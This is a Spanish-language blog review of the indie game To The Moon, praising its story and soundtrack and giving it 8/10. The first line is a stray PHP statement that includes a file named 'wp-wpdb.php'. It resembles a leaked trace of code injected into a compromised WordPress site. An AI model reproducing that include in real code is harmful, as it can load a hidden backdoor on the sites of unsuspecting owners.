if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); To The Moon (Analisis) Una Historia Inolvidable – La Fortaleza de LeChuck

To The Moon (Analisis) Una Historia Inolvidable

Muchas veces nos apetece disfrutar en nuestro tiempo de ocio con una buena historia, ya sea en forma de libro, película o serie. En los videojuegos poco a poco ese concepto se ha ido extendiendo como consecuencia lógica de la madurez del medio y, de la misma forma que hay cine de consumo para masas a base de tortas y disparos, hay espacio para juegos más introspectivos y que basan toda su fuerza en un argumento profundo y elaborado. En este grupo estaría To The Moon, título desarrollado prácticamente por una sola persona con el RPG Maker, una estética retro que recuerda a un J-Rpg de los 90 y que peca de no ser muy jugable que digamos… Y a pesar de ello muestra un buen derroche de talento, ofreciendo una experiencia que estimula la imaginación y que nos va a dejar el corazón en un puño, por su historia de amor y recuerdos entrelazados.
Hablar de To The Moon es difícil, pero no por lo enrevesado que pueda ser su argumento, sino porque hablar más de la cuenta sería chafaros absolutamente todo. Para este artículo os pido el esfuerzo especial de crear un vínculo poco común entre el que suscribe y el lector. Tenéis que querer creer. Tenéis que ser cómo Mulder en Expediente X. Tenéis que creer que en Braid la «princesa» es algo más de lo que se ve a simple vista e intuir que en la manga escondo un par de ases que no me hace falta jugar en esta partida, pero ahí están. En definitiva tenéis que intentar ir un poco más allá de lo que digo porque no os voy a relatar detalladamente de qué va To The Moon, ¿cómo se puede explicar lo que hace brillante este juego sin arruinarlo? Bordeando todo lo posible. Es bastante egoísta por mi parte y no os pediré muy a menudo un esfuerzo de este tipo, pero en el fondo es por vuestro bien y de hecho el juego pedirá a vuestra imaginación algo similar, así que es una buena manera de prepararse…
Cuesta calificar To The Moon como videojuego, al menos no como videojuego al uso. Puede que esté reincidiendo mucho en este punto, pero es muy importante que sepáis a qué os enfrentáis. Este producto es tan juego como lo pueden ser Dear Esther, Heavy Rain o Metal Gear Solid 4 (salvando las distancias), juegos que nos implican emocionalmente, pero que tienen más de «película interactiva» que «apartado jugable». Es un debate legítimo pero que una vez pasado To The Moon nos va a dar absolutamente igual, seguro.
Adorablemente retro.
Pongámonos en el punto de inicio de la trama. Estamos en un futuro cercano, en el cual una empresa ha conseguido fundar un avanzado departamento científico que ha desarrollado una máquina capaz de implantar recuerdos ficticios en las mentes de las personas. Si esto fuera un universo ciberpunk a lo Deus Ex dicha máquina hubiera generado polémica, debates morales y hasta revueltas, por el peligro que puede causar un artefacto así. Sin embargo dicha empresa utiliza esta máquina para fines nobles: Su uso se reserva para implantar recuerdos a pacientes terminales que están a punto de morir, modificando su memoria de tal manera que tengan unos últimos momentos placenteros de triunfo o tranquilidad reviviendo una vida que, puede que no fuera exactamente la suya, pero es la que hubieran deseado vivir. 
Seremos pues, una pareja de científicos de esta empresa que viaja a un caserón antiquísimo y alejado de la civilización para cumplir la última voluntad de un paciente agonizante. El paciente en cuestión es Johnny, un misterioso ermitaño que vive con una chica joven que lo cuida y los dos hijos de ésta, y al que le quedan apenas unas horas de vida. Johnny está ya muy delicado de salud cuando llegamos y nos lo encontramos entubado e inconsciente. Lo que parece un procedimiento rutinario para la pareja de científicos, acostumbrados ya a este tipo de intervenciones, se complica un poco al conocer cuál es el inusual recuerdo que quiere el viejo Johnny que le implantemos: Su máximo anhelo es viajar a la Luna, aunque dice no recordar por qué y nadie parece saberlo. Así pues, por complicada que parezca, nuestra misión será modificar sus recuerdos vividos y adentrarnos en lo más profundo de su psique para que Johnny pueda pasar a mejor vida con la conciencia tranquila por haber pisado suelo lunar.
Y hasta aquí voy a hablar de la trama, aunque huelga decir que la misión se irá haciendo más profunda y delicada. Habrán giros y piruetas argumentales, momentos de verdadero humor, dramáticos, románticos, guiños a películas y a otros juegos… De hecho la premisa general bebe mucho de la fantástica película de Michel Gondry «The Eternal Sunshine of the Spotless Mind» (tremendamente mal traducida en España como «¡Olvídate de mí!«), y recuerda en algunas otras cosas a Inception (Orígen). Referencias aparte, por encima de todo, es un canto a la vida.
El faro, luz y guía. Un escenario que veremos evolucionar.

To The Moon no es nada difícil, todo lo contrario. Completaremos la historia en unas 4 o 5 horas y seguramente de un tirón, para saber como acaba. El hecho de ser un videojuego bastante guiado es lo que hace difícil calificarlo como tal. Por otra parte ése -el de videojuego- es el formato en el que nos lo presentan, pero como he dicho prefiero dejar ese debate para otra ocasión. El «juego» (por si quedaban dudas) está realizado principalmente con el RPG Maker, una herramienta de desarrollo de videojuegos bastante popular, plataforma de creación sobretodo de juegos estilo «RPG clásico» (de vista cenital, pixelados…). Y es una muestra más de que en buenas manos incluso la herramienta más básica puede servir para crear una obra de arte. Nos moveremos por los escenarios gracias al viejo sistema ‘point & click’ y realmente no haremos mucho más, salvo resolver algún sencillo puzzle y contemplar la estupenda narración.

El gran artífice tras esta obra es el canadiense Kan R. Gao, creador de la compañía independiente Freebird Games, y que es el responsable de casi todos los aspectos técnicos de To The Moon. El arte, la programación, el guión, la música… Todo un artista polivalente, desde luego. Ha recibido bastante ayuda en algunos campos, como es de suponer -en los créditos aparece reflejada más gente-, pero prácticamente se ha cargado todo el trabajo él como proyecto personal. Y se nota, este es un juego en el que flota una especie de visión subjetiva y un mensaje que el autor ha querido compartir con nosotros.
Ya que mencionamos la música, éste es el apartado que más brilla junto con el argumento, con una banda sonora realmente de quitarse el sombrero, que no sólo acompaña perfectamente la aventura sino que se vuelve en ocasiones protagonista de la acción. Kan Gao se ha ocupado como decíamos de ella, pero ha conseguido para el proyecto una colaboradora de relumbrón como es Laura Shigihara, compositora y cantante que ya nos dejó una pequeña joya sonora en otro proyecto indie creando e interpretando la famosa canción de Plants vs Zombies, y en To The Moon tendremos el placer de escuchar nuevamente su voz.
El gran problema que puede tener To The Moon para nuestra comunidad es que no está traducido al español, así que hay que jugarlo en perfecto inglés. No es un inglés literario o complicado, aunque hay que reconocer que es un juego que contiene multitud de textos y se basa principalmente en ellos. Hay varias iniciativas de fans auspiciadas por el propio autor de la obra que están traduciendo el juego a otros idiomas, como el castellano, así que es de prever que próximamente haya algún parche que nos permita revivirlo en nuestro idioma para que nos sea más comprensible. Mientras tanto, con un nivel medio de inglés leído, la barrera del idioma no debería tirarnos atrás e impedirnos disfrutar de esta gran historia.Edit: Revisando el foro oficial de traducción al castellano en freebirdgames.com que ya está el parche español disponible para To The Moon. Si se compró el juego a través de la propia web de Freebird Games se tiene acceso al parche en español de España y latino. Si se ha adquirido a través de GOG no hay opción de modificarlo y se queda en inglés, al parecer por las características de esa plataforma, que no acepta este tipo de modificaciones. En Steam ya está implementado (en este caso sólo español de España), pero hasta que Valve no actualice la información del juego no estará disponible al público (cuestión de días como mucho, lo más seguro).
Pianos y montones de conejos de origami, la cosa se pone inquietante por momentos…

En conclusión, To The Moon no es un juego para todo el mundo. A nivel técnico es muy limitado, como corresponde al método empleado para crearlo. No supone ningún reto acabarlo, porque no se trata de eso, y si lo que buscamos son precisamente retos y acción (y masoquismo) haríamos mejor en hacernos con el Dark Souls. To The Moon es una experiencia narrativa, ideal para esos espacios de tiempo vacíos en los que afuera llueve y apetece vivir una buena película en vez de verla. Pero cuidado, esta «película» nos puede dejar durante días dándole vueltas mentalmente a la historia de sus personajes. Éste es uno de esos juegos indie que se disfrutan rápido, por lo poco que duran, pero posteriormente quedan en la retina durante mucho tiempo después. Ya os dije que era difícil hablar de él sin entrar en detalles del argumento, pero esas cinco horas que dura las debéis recorrer vosotros mismos. I want to believe.

To The Moon está disponible en GOG por 9,99$ y en Steam por 7,99€, teniendo incluso la posibilidad por un poco más de hacernos digitalmente con su excelente banda sonora. Es un juego que me ha gustado especialmente, en parte debido a la poca información que tenía de él antes de empezar a recorrerlo, y probado por recomendación de un amigo al que le debo un par de cañas por ello. Recuerda a una época en la que unos simples modelos en 2D eran capaces de transmitir grandes sentimientos a pesar de su simpleza. Vamos a reír, preocuparnos, apasionarnos y conmovernos con los protagonistas de este «juego», en una montaña rusa de sensaciones entremezcladas. Puede que incluso lloremos un poco. Así es To The Moon, como la vida misma. 
Nota: 8 /10

Por Heko

Se peleó de pequeño por hacer funcionar un ZX Spectrum, lo cuál no presagiaba nada bueno a largo plazo, aunque curiosamente él lo recuerda con cariño. Ya de mayor, sufrió un terrible accidente al retirar un USB de su puerto sin esperar a qué fuera seguro quitarlo. La catástrofe asoló medio continente, aunque la radiación le concedió el superpoder mutante de escribir sobre todo lo que a él le apasiona. Entre otras cosas, por supuesto, sobre “eso de los marcianitos”.

5 comentarios

    1. Yo estuve hace tiempo dándole fuerte al rpgmaker para ver si aprendía y podía sacar algo decente con él y hay que reconocer que el provecho que le saca el tal Kan Gao es una pasada, se sale de lo común… Hay muchísimo (pero muchísimo) curro detrás de este juego aunque pueda no parecerlo.

      Dicho esto si te animas a hacer algo dímelo, que estaré encantado de probarlo xD

Dejar un comentario